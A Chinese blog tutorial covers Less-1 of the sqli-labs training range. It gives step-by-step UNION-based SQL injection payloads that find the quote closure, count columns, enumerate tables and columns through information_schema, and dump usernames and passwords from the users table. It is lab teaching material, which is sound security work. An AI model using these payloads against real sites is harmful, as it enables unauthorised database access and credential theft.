sql-labs靶场 less-1

发布于:2025-04-01 ⋅ 阅读:(13) ⋅ 点赞:(0)


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 (‘、"、’'、“”)
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 1 联合注入

  • 题目类型: 字符型 '(单引号) 闭合
  • 先判断注入类型

id=1
回显正常

在这里插入图片描述

id=1/0
回显内容和 id=1 一样,说明1/0没报错,不是数字型注入,那就是字符型 (或者用id=1与id=2-1 / id=2/2)

在这里插入图片描述

  • 判断闭合方式

已知是字符型注入
id=1’
sql语法报错,说明大概率是单引号闭合

在这里插入图片描述

id=1’ ’
回显正常

在这里插入图片描述

id=1’ ’ ’
sql语法报错

在这里插入图片描述

id=1’ ’ ’ ’
4个单引号,回显正常,呈规律性变化,说明闭合方式是单引号

在这里插入图片描述

  • 数据有回显,可利用联合注入,需判断字段数回显位

id=1’ order by 4 --+
报错:表中没有列名为‘4’的字段 (说明不存在第4列)
为什么使用order by判断字段数? 因为order by的作用是对某一列排序,如果报错,说明不存在此列
例如(id,username,password)
order by username 等同于 order by 2 (表示对第二列字段名为username排序 )

在这里插入图片描述

id=1’ order by 3 --+
回显正常,说明该表的字段数为3列 (因为第4列不存在,所以该表的字段数为3)

在这里插入图片描述

  • 使用联合注入,需判断回显位

id=1’ union select 1,2,3–+
为什么没有回显1,2,3?

在这里插入图片描述

id=-1’ union select 1,2,3–+
联合注入后,返回的结果有多行,但是该页面只回显第一行,所以id = -1 让第一行数据不存在,变向把原本处于第二行的数据移动到第一行 (或者 id=’ union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+ )
并且可以看到回显位是第2,3列

在这里插入图片描述

id=’ union select 1,database(),user()–+
猜解数据库名

在这里插入图片描述

  • 初始化安装mysql数据库后, 会默认创建4个系统数据库:
    在这里插入图片描述

id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=“security” --+
通过系统数据库information_schema猜解表名

在这里插入图片描述

id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users” --+
猜解字段名

在这里插入图片描述

id=-1’ union select 1,2,group_concat(id,“-”,username,“-”,password) from users --+
爆出数据

在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到